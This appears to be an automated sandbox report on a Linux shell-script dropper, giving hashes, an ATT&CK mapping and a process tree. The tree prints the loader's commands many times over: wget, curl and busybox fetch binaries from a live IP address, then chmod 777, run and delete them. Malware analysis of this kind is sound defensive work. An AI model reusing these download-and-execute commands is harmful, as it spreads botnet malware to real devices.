3937983711c8aefaa2d8790ff1f508118e90b85277b8ac2af8b0a6d45bc6fb2f

Analysis

max time kernel
21s
max time network
23s
platform
debian-9_armhf
resource
debian9-armhf-20240729-en
resource tags

arch:armhfimage:debian9-armhf-20240729-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
06/11/2024, 01:08

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
67db0a782044ee286667c282875397514a893b73eb8b8102d5401e5841d123af.sh
Size 10KB
Sample241106-bg8bbssckf
SHA256 67db0a782044ee286667c282875397514a893b73eb8b8102d5401e5841d123af
MD5 3ddeda65fdff7dc7e3cc275ff6f553d3
SHA1 63ea40bbcbb7ae0a7d338ea6283460d48c3f6368
SHA512 b1a6e4dbb31b142cac5c142a8adafdb6e53106d788ce26f3e40d930a821147cc6dc5289ecc3217d1b7545ab6d69bd3c12c3128a980d76ac3986a334f102c3a0e
SSDEEP 96:Bj2IPO3r7edhO9HzMJQIDCuBlVArHZro/T8jAIC+r7edh4VLIlVArHZfDzMlPQIz:Bj2IPOd92QIDCuBsKQIDCuv
MD5 SHA1 SHA512 SSDEEP

Score

7^/10

antivm defense_evasion discovery

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 22 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
714	chmod
838	chmod
864	chmod
694	chmod
788	chmod
814	chmod
820	chmod
882	chmod
684	chmod
802	chmod
808	chmod
826	chmod
844	chmod
870	chmod
876	chmod
739	chmod
754	chmod
767	chmod
832	chmod
852	chmod
858	chmod
888	chmod

Executes dropped EXE 22 IoCs

Checks CPU configuration 1 TTPs 22 IoCs

Checks CPU information which indicate if the system is a virtual machine.

antivm

System Checks

T1497.001

description	ioc	Process
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl

Reads runtime system information 44 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl

Writes file to tmp directory 22 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/kgsaO6LZu4ZHWfsQTKTRm2NKSEuiiV6EeO	curl
File opened for modification	/tmp/ufy9VGz96uMPbNe15JFU9w4y7dAEwjhlLP	curl
File opened for modification	/tmp/qPRpQbcYDWGHlNxWLV13J3g8Ni6p9Y64XN	curl
File opened for modification	/tmp/bQWu8dXtnUrl0nBKlkBRPQgu1vZwPOBZkB	curl
File opened for modification	/tmp/60V1ghqzB35ZmIwK5bO4SmlnXuQqmpRbjQ	curl
File opened for modification	/tmp/OgUatXxWUK6X3nVpJ7pncTwiR8EdUWbXH5	curl
File opened for modification	/tmp/qPRpQbcYDWGHlNxWLV13J3g8Ni6p9Y64XN	curl
File opened for modification	/tmp/lT5qFl0XnyIAab7S4Iaz7KMZcKJzFIZtK8	curl
File opened for modification	/tmp/kgsaO6LZu4ZHWfsQTKTRm2NKSEuiiV6EeO	curl
File opened for modification	/tmp/60V1ghqzB35ZmIwK5bO4SmlnXuQqmpRbjQ	curl
File opened for modification	/tmp/q3TcjxwTLRGSiWjCvwtgG2MkldB8flghvC	curl
File opened for modification	/tmp/oTwyc0G50fGYWVNInaXL7QD0ZLD1ughZtQ	curl
File opened for modification	/tmp/bcP04RAw5csOVTbhqb2pU9NxBhHMDRgMYs	curl
File opened for modification	/tmp/q3TcjxwTLRGSiWjCvwtgG2MkldB8flghvC	curl
File opened for modification	/tmp/CyJ4lqAaiOnktDQMO2Wk2BwxNlGUH3Q6CK	curl
File opened for modification	/tmp/OgUatXxWUK6X3nVpJ7pncTwiR8EdUWbXH5	curl
File opened for modification	/tmp/oTwyc0G50fGYWVNInaXL7QD0ZLD1ughZtQ	curl
File opened for modification	/tmp/bcP04RAw5csOVTbhqb2pU9NxBhHMDRgMYs	curl
File opened for modification	/tmp/bQWu8dXtnUrl0nBKlkBRPQgu1vZwPOBZkB	curl
File opened for modification	/tmp/DLB4tNJXSvly7bHdbPq04vmbSKXtZRB39H	curl
File opened for modification	/tmp/Fg82wuYnzwXHjv4R0Nq8v6DZ9UreFG0UtQ	curl
File opened for modification	/tmp/II7FClsKpcmlOZDFNAymmA5CQJS0vlvqxF	curl

/tmp/67db0a782044ee286667c282875397514a893b73eb8b8102d5401e5841d123af.sh
/tmp/67db0a782044ee286667c282875397514a893b73eb8b8102d5401e5841d123af.sh
1⤵
PID:652
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:654
- /usr/bin/wget
  wget http://87.120.84.230/bins/kgsaO6LZu4ZHWfsQTKTRm2NKSEuiiV6EeO
  2⤵
  PID:656
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/kgsaO6LZu4ZHWfsQTKTRm2NKSEuiiV6EeO
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:672
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/kgsaO6LZu4ZHWfsQTKTRm2NKSEuiiV6EeO
  2⤵
  PID:679
- /bin/chmod
  chmod 777 kgsaO6LZu4ZHWfsQTKTRm2NKSEuiiV6EeO
  2⤵
  - File and Directory Permissions Modification
  PID:684
- /tmp/kgsaO6LZu4ZHWfsQTKTRm2NKSEuiiV6EeO
  ./kgsaO6LZu4ZHWfsQTKTRm2NKSEuiiV6EeO
  2⤵
  - Executes dropped EXE
  PID:686
- /bin/rm
  rm kgsaO6LZu4ZHWfsQTKTRm2NKSEuiiV6EeO
  2⤵
  PID:687
- /usr/bin/wget
  wget http://87.120.84.230/bins/60V1ghqzB35ZmIwK5bO4SmlnXuQqmpRbjQ
  2⤵
  PID:688
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/60V1ghqzB35ZmIwK5bO4SmlnXuQqmpRbjQ
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:689
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/60V1ghqzB35ZmIwK5bO4SmlnXuQqmpRbjQ
  2⤵
  PID:690
- /bin/chmod
  chmod 777 60V1ghqzB35ZmIwK5bO4SmlnXuQqmpRbjQ
  2⤵
  - File and Directory Permissions Modification
  PID:694
- /tmp/60V1ghqzB35ZmIwK5bO4SmlnXuQqmpRbjQ
  ./60V1ghqzB35ZmIwK5bO4SmlnXuQqmpRbjQ
  2⤵
  - Executes dropped EXE
  PID:695
- /bin/rm
  rm 60V1ghqzB35ZmIwK5bO4SmlnXuQqmpRbjQ
  2⤵
  PID:697
- /usr/bin/wget
  wget http://87.120.84.230/bins/OgUatXxWUK6X3nVpJ7pncTwiR8EdUWbXH5
  2⤵
  PID:698
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/OgUatXxWUK6X3nVpJ7pncTwiR8EdUWbXH5
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:703
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/OgUatXxWUK6X3nVpJ7pncTwiR8EdUWbXH5
  2⤵
  PID:710
- /bin/chmod
  chmod 777 OgUatXxWUK6X3nVpJ7pncTwiR8EdUWbXH5
  2⤵
  - File and Directory Permissions Modification
  PID:714
- /tmp/OgUatXxWUK6X3nVpJ7pncTwiR8EdUWbXH5
  ./OgUatXxWUK6X3nVpJ7pncTwiR8EdUWbXH5
  2⤵
  - Executes dropped EXE
  PID:716
- /bin/rm
  rm OgUatXxWUK6X3nVpJ7pncTwiR8EdUWbXH5
  2⤵
  PID:717
- /usr/bin/wget
  wget http://87.120.84.230/bins/oTwyc0G50fGYWVNInaXL7QD0ZLD1ughZtQ
  2⤵
  PID:718
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/oTwyc0G50fGYWVNInaXL7QD0ZLD1ughZtQ
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:725
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/oTwyc0G50fGYWVNInaXL7QD0ZLD1ughZtQ
  2⤵
  PID:733
- /bin/chmod
  chmod 777 oTwyc0G50fGYWVNInaXL7QD0ZLD1ughZtQ
  2⤵
  - File and Directory Permissions Modification
  PID:739
- /tmp/oTwyc0G50fGYWVNInaXL7QD0ZLD1ughZtQ
  ./oTwyc0G50fGYWVNInaXL7QD0ZLD1ughZtQ
  2⤵
  - Executes dropped EXE
  PID:741
- /bin/rm
  rm oTwyc0G50fGYWVNInaXL7QD0ZLD1ughZtQ
  2⤵
  PID:743
- /usr/bin/wget
  wget http://87.120.84.230/bins/bQWu8dXtnUrl0nBKlkBRPQgu1vZwPOBZkB
  2⤵
  PID:744
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/bQWu8dXtnUrl0nBKlkBRPQgu1vZwPOBZkB
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:750
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/bQWu8dXtnUrl0nBKlkBRPQgu1vZwPOBZkB
  2⤵
  PID:753
- /bin/chmod
  chmod 777 bQWu8dXtnUrl0nBKlkBRPQgu1vZwPOBZkB
  2⤵
  - File and Directory Permissions Modification
  PID:754
- /tmp/bQWu8dXtnUrl0nBKlkBRPQgu1vZwPOBZkB
  ./bQWu8dXtnUrl0nBKlkBRPQgu1vZwPOBZkB
  2⤵
  - Executes dropped EXE
  PID:755
- /bin/rm
  rm bQWu8dXtnUrl0nBKlkBRPQgu1vZwPOBZkB
  2⤵
  PID:756
- /usr/bin/wget
  wget http://87.120.84.230/bins/bcP04RAw5csOVTbhqb2pU9NxBhHMDRgMYs
  2⤵
  PID:757
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/bcP04RAw5csOVTbhqb2pU9NxBhHMDRgMYs
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:758
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/bcP04RAw5csOVTbhqb2pU9NxBhHMDRgMYs
  2⤵
  PID:762
- /bin/chmod
  chmod 777 bcP04RAw5csOVTbhqb2pU9NxBhHMDRgMYs
  2⤵
  - File and Directory Permissions Modification
  PID:767
- /tmp/bcP04RAw5csOVTbhqb2pU9NxBhHMDRgMYs
  ./bcP04RAw5csOVTbhqb2pU9NxBhHMDRgMYs
  2⤵
  - Executes dropped EXE
  PID:769
- /bin/rm
  rm bcP04RAw5csOVTbhqb2pU9NxBhHMDRgMYs
  2⤵
  PID:770
- /usr/bin/wget
  wget http://87.120.84.230/bins/q3TcjxwTLRGSiWjCvwtgG2MkldB8flghvC
  2⤵
  PID:771
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/q3TcjxwTLRGSiWjCvwtgG2MkldB8flghvC
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:776
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/q3TcjxwTLRGSiWjCvwtgG2MkldB8flghvC
  2⤵
  PID:783
- /bin/chmod
  chmod 777 q3TcjxwTLRGSiWjCvwtgG2MkldB8flghvC
  2⤵
  - File and Directory Permissions Modification
  PID:788
- /tmp/q3TcjxwTLRGSiWjCvwtgG2MkldB8flghvC
  ./q3TcjxwTLRGSiWjCvwtgG2MkldB8flghvC
  2⤵
  - Executes dropped EXE
  PID:789
- /bin/rm
  rm q3TcjxwTLRGSiWjCvwtgG2MkldB8flghvC
  2⤵
  PID:790
- /usr/bin/wget
  wget http://87.120.84.230/bins/qPRpQbcYDWGHlNxWLV13J3g8Ni6p9Y64XN
  2⤵
  PID:792
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/qPRpQbcYDWGHlNxWLV13J3g8Ni6p9Y64XN
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:798
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/qPRpQbcYDWGHlNxWLV13J3g8Ni6p9Y64XN
  2⤵
  PID:801
- /bin/chmod
  chmod 777 qPRpQbcYDWGHlNxWLV13J3g8Ni6p9Y64XN
  2⤵
  - File and Directory Permissions Modification
  PID:802
- /tmp/qPRpQbcYDWGHlNxWLV13J3g8Ni6p9Y64XN
  ./qPRpQbcYDWGHlNxWLV13J3g8Ni6p9Y64XN
  2⤵
  - Executes dropped EXE
  PID:803
- /bin/rm
  rm qPRpQbcYDWGHlNxWLV13J3g8Ni6p9Y64XN
  2⤵
  PID:804
- /usr/bin/wget
  wget http://87.120.84.230/bins/DLB4tNJXSvly7bHdbPq04vmbSKXtZRB39H
  2⤵
  PID:805
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/DLB4tNJXSvly7bHdbPq04vmbSKXtZRB39H
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:806
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/DLB4tNJXSvly7bHdbPq04vmbSKXtZRB39H
  2⤵
  PID:807
- /bin/chmod
  chmod 777 DLB4tNJXSvly7bHdbPq04vmbSKXtZRB39H
  2⤵
  - File and Directory Permissions Modification
  PID:808
- /tmp/DLB4tNJXSvly7bHdbPq04vmbSKXtZRB39H
  ./DLB4tNJXSvly7bHdbPq04vmbSKXtZRB39H
  2⤵
  - Executes dropped EXE
  PID:809
- /bin/rm
  rm DLB4tNJXSvly7bHdbPq04vmbSKXtZRB39H
  2⤵
  PID:810
- /usr/bin/wget
  wget http://87.120.84.230/bins/lT5qFl0XnyIAab7S4Iaz7KMZcKJzFIZtK8
  2⤵
  PID:811
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/lT5qFl0XnyIAab7S4Iaz7KMZcKJzFIZtK8
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:812
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/lT5qFl0XnyIAab7S4Iaz7KMZcKJzFIZtK8
  2⤵
  PID:813
- /bin/chmod
  chmod 777 lT5qFl0XnyIAab7S4Iaz7KMZcKJzFIZtK8
  2⤵
  - File and Directory Permissions Modification
  PID:814
- /tmp/lT5qFl0XnyIAab7S4Iaz7KMZcKJzFIZtK8
  ./lT5qFl0XnyIAab7S4Iaz7KMZcKJzFIZtK8
  2⤵
  - Executes dropped EXE
  PID:815
- /bin/rm
  rm lT5qFl0XnyIAab7S4Iaz7KMZcKJzFIZtK8
  2⤵
  PID:816
- /usr/bin/wget
  wget http://87.120.84.230/bins/Fg82wuYnzwXHjv4R0Nq8v6DZ9UreFG0UtQ
  2⤵
  PID:817
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/Fg82wuYnzwXHjv4R0Nq8v6DZ9UreFG0UtQ
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:818
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/Fg82wuYnzwXHjv4R0Nq8v6DZ9UreFG0UtQ
  2⤵
  PID:819
- /bin/chmod
  chmod 777 Fg82wuYnzwXHjv4R0Nq8v6DZ9UreFG0UtQ
  2⤵
  - File and Directory Permissions Modification
  PID:820
- /tmp/Fg82wuYnzwXHjv4R0Nq8v6DZ9UreFG0UtQ
  ./Fg82wuYnzwXHjv4R0Nq8v6DZ9UreFG0UtQ
  2⤵
  - Executes dropped EXE
  PID:821
- /bin/rm
  rm Fg82wuYnzwXHjv4R0Nq8v6DZ9UreFG0UtQ
  2⤵
  PID:822
- /usr/bin/wget
  wget http://87.120.84.230/bins/CyJ4lqAaiOnktDQMO2Wk2BwxNlGUH3Q6CK
  2⤵
  PID:823
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/CyJ4lqAaiOnktDQMO2Wk2BwxNlGUH3Q6CK
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:824
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/CyJ4lqAaiOnktDQMO2Wk2BwxNlGUH3Q6CK
  2⤵
  PID:825
- /bin/chmod
  chmod 777 CyJ4lqAaiOnktDQMO2Wk2BwxNlGUH3Q6CK
  2⤵
  - File and Directory Permissions Modification
  PID:826
- /tmp/CyJ4lqAaiOnktDQMO2Wk2BwxNlGUH3Q6CK
  ./CyJ4lqAaiOnktDQMO2Wk2BwxNlGUH3Q6CK
  2⤵
  - Executes dropped EXE
  PID:827
- /bin/rm
  rm CyJ4lqAaiOnktDQMO2Wk2BwxNlGUH3Q6CK
  2⤵
  PID:828
- /usr/bin/wget
  wget http://87.120.84.230/bins/II7FClsKpcmlOZDFNAymmA5CQJS0vlvqxF
  2⤵
  PID:829
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/II7FClsKpcmlOZDFNAymmA5CQJS0vlvqxF
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:830
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/II7FClsKpcmlOZDFNAymmA5CQJS0vlvqxF
  2⤵
  PID:831
- /bin/chmod
  chmod 777 II7FClsKpcmlOZDFNAymmA5CQJS0vlvqxF
  2⤵
  - File and Directory Permissions Modification
  PID:832
- /tmp/II7FClsKpcmlOZDFNAymmA5CQJS0vlvqxF
  ./II7FClsKpcmlOZDFNAymmA5CQJS0vlvqxF
  2⤵
  - Executes dropped EXE
  PID:833
- /bin/rm
  rm II7FClsKpcmlOZDFNAymmA5CQJS0vlvqxF
  2⤵
  PID:834
- /usr/bin/wget
  wget http://87.120.84.230/bins/ufy9VGz96uMPbNe15JFU9w4y7dAEwjhlLP
  2⤵
  PID:835
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/ufy9VGz96uMPbNe15JFU9w4y7dAEwjhlLP
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:836
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/ufy9VGz96uMPbNe15JFU9w4y7dAEwjhlLP
  2⤵
  PID:837
- /bin/chmod
  chmod 777 ufy9VGz96uMPbNe15JFU9w4y7dAEwjhlLP
  2⤵
  - File and Directory Permissions Modification
  PID:838
- /tmp/ufy9VGz96uMPbNe15JFU9w4y7dAEwjhlLP
  ./ufy9VGz96uMPbNe15JFU9w4y7dAEwjhlLP
  2⤵
  - Executes dropped EXE
  PID:839
- /bin/rm
  rm ufy9VGz96uMPbNe15JFU9w4y7dAEwjhlLP
  2⤵
  PID:840
- /usr/bin/wget
  wget http://87.120.84.230/bins/kgsaO6LZu4ZHWfsQTKTRm2NKSEuiiV6EeO
  2⤵
  PID:841
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/kgsaO6LZu4ZHWfsQTKTRm2NKSEuiiV6EeO
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:842
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/kgsaO6LZu4ZHWfsQTKTRm2NKSEuiiV6EeO
  2⤵
  PID:843
- /bin/chmod
  chmod 777 kgsaO6LZu4ZHWfsQTKTRm2NKSEuiiV6EeO
  2⤵
  - File and Directory Permissions Modification
  PID:844
- /tmp/kgsaO6LZu4ZHWfsQTKTRm2NKSEuiiV6EeO
  ./kgsaO6LZu4ZHWfsQTKTRm2NKSEuiiV6EeO
  2⤵
  - Executes dropped EXE
  PID:845
- /bin/rm
  rm kgsaO6LZu4ZHWfsQTKTRm2NKSEuiiV6EeO
  2⤵
  PID:846
- /usr/bin/wget
  wget http://87.120.84.230/bins/60V1ghqzB35ZmIwK5bO4SmlnXuQqmpRbjQ
  2⤵
  PID:847
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/60V1ghqzB35ZmIwK5bO4SmlnXuQqmpRbjQ
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:848
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/60V1ghqzB35ZmIwK5bO4SmlnXuQqmpRbjQ
  2⤵
  PID:850
- /bin/chmod
  chmod 777 60V1ghqzB35ZmIwK5bO4SmlnXuQqmpRbjQ
  2⤵
  - File and Directory Permissions Modification
  PID:852
- /tmp/60V1ghqzB35ZmIwK5bO4SmlnXuQqmpRbjQ
  ./60V1ghqzB35ZmIwK5bO4SmlnXuQqmpRbjQ
  2⤵
  - Executes dropped EXE
  PID:853
- /bin/rm
  rm 60V1ghqzB35ZmIwK5bO4SmlnXuQqmpRbjQ
  2⤵
  PID:854
- /usr/bin/wget
  wget http://87.120.84.230/bins/OgUatXxWUK6X3nVpJ7pncTwiR8EdUWbXH5
  2⤵
  PID:855
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/OgUatXxWUK6X3nVpJ7pncTwiR8EdUWbXH5
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:856
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/OgUatXxWUK6X3nVpJ7pncTwiR8EdUWbXH5
  2⤵
  PID:857
- /bin/chmod
  chmod 777 OgUatXxWUK6X3nVpJ7pncTwiR8EdUWbXH5
  2⤵
  - File and Directory Permissions Modification
  PID:858
- /tmp/OgUatXxWUK6X3nVpJ7pncTwiR8EdUWbXH5
  ./OgUatXxWUK6X3nVpJ7pncTwiR8EdUWbXH5
  2⤵
  - Executes dropped EXE
  PID:859
- /bin/rm
  rm OgUatXxWUK6X3nVpJ7pncTwiR8EdUWbXH5
  2⤵
  PID:860
- /usr/bin/wget
  wget http://87.120.84.230/bins/q3TcjxwTLRGSiWjCvwtgG2MkldB8flghvC
  2⤵
  PID:861
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/q3TcjxwTLRGSiWjCvwtgG2MkldB8flghvC
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:862
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/q3TcjxwTLRGSiWjCvwtgG2MkldB8flghvC
  2⤵
  PID:863
- /bin/chmod
  chmod 777 q3TcjxwTLRGSiWjCvwtgG2MkldB8flghvC
  2⤵
  - File and Directory Permissions Modification
  PID:864
- /tmp/q3TcjxwTLRGSiWjCvwtgG2MkldB8flghvC
  ./q3TcjxwTLRGSiWjCvwtgG2MkldB8flghvC
  2⤵
  - Executes dropped EXE
  PID:865
- /bin/rm
  rm q3TcjxwTLRGSiWjCvwtgG2MkldB8flghvC
  2⤵
  PID:866
- /usr/bin/wget
  wget http://87.120.84.230/bins/oTwyc0G50fGYWVNInaXL7QD0ZLD1ughZtQ
  2⤵
  PID:867
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/oTwyc0G50fGYWVNInaXL7QD0ZLD1ughZtQ
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:868
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/oTwyc0G50fGYWVNInaXL7QD0ZLD1ughZtQ
  2⤵
  PID:869
- /bin/chmod
  chmod 777 oTwyc0G50fGYWVNInaXL7QD0ZLD1ughZtQ
  2⤵
  - File and Directory Permissions Modification
  PID:870
- /tmp/oTwyc0G50fGYWVNInaXL7QD0ZLD1ughZtQ
  ./oTwyc0G50fGYWVNInaXL7QD0ZLD1ughZtQ
  2⤵
  - Executes dropped EXE
  PID:871
- /bin/rm
  rm oTwyc0G50fGYWVNInaXL7QD0ZLD1ughZtQ
  2⤵
  PID:872
- /usr/bin/wget
  wget http://87.120.84.230/bins/bQWu8dXtnUrl0nBKlkBRPQgu1vZwPOBZkB
  2⤵
  PID:873
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/bQWu8dXtnUrl0nBKlkBRPQgu1vZwPOBZkB
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:874
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/bQWu8dXtnUrl0nBKlkBRPQgu1vZwPOBZkB
  2⤵
  PID:875
- /bin/chmod
  chmod 777 bQWu8dXtnUrl0nBKlkBRPQgu1vZwPOBZkB
  2⤵
  - File and Directory Permissions Modification
  PID:876
- /tmp/bQWu8dXtnUrl0nBKlkBRPQgu1vZwPOBZkB
  ./bQWu8dXtnUrl0nBKlkBRPQgu1vZwPOBZkB
  2⤵
  - Executes dropped EXE
  PID:877
- /bin/rm
  rm bQWu8dXtnUrl0nBKlkBRPQgu1vZwPOBZkB
  2⤵
  PID:878
- /usr/bin/wget
  wget http://87.120.84.230/bins/bcP04RAw5csOVTbhqb2pU9NxBhHMDRgMYs
  2⤵
  PID:879
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/bcP04RAw5csOVTbhqb2pU9NxBhHMDRgMYs
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:880
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/bcP04RAw5csOVTbhqb2pU9NxBhHMDRgMYs
  2⤵
  PID:881
- /bin/chmod
  chmod 777 bcP04RAw5csOVTbhqb2pU9NxBhHMDRgMYs
  2⤵
  - File and Directory Permissions Modification
  PID:882
- /tmp/bcP04RAw5csOVTbhqb2pU9NxBhHMDRgMYs
  ./bcP04RAw5csOVTbhqb2pU9NxBhHMDRgMYs
  2⤵
  - Executes dropped EXE
  PID:883
- /bin/rm
  rm bcP04RAw5csOVTbhqb2pU9NxBhHMDRgMYs
  2⤵
  PID:884
- /usr/bin/wget
  wget http://87.120.84.230/bins/qPRpQbcYDWGHlNxWLV13J3g8Ni6p9Y64XN
  2⤵
  PID:885
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/qPRpQbcYDWGHlNxWLV13J3g8Ni6p9Y64XN
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:886
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/qPRpQbcYDWGHlNxWLV13J3g8Ni6p9Y64XN
  2⤵
  PID:887
- /bin/chmod
  chmod 777 qPRpQbcYDWGHlNxWLV13J3g8Ni6p9Y64XN
  2⤵
  - File and Directory Permissions Modification
  PID:888
- /tmp/qPRpQbcYDWGHlNxWLV13J3g8Ni6p9Y64XN
  ./qPRpQbcYDWGHlNxWLV13J3g8Ni6p9Y64XN
  2⤵
  - Executes dropped EXE
  PID:889
- /bin/rm
  rm qPRpQbcYDWGHlNxWLV13J3g8Ni6p9Y64XN
  2⤵
  PID:890
- /usr/bin/wget
  wget http://87.120.84.230/bins/DLB4tNJXSvly7bHdbPq04vmbSKXtZRB39H
  2⤵
  PID:891

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Credential Access

Discovery

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Lateral Movement

Collection

Command and Control
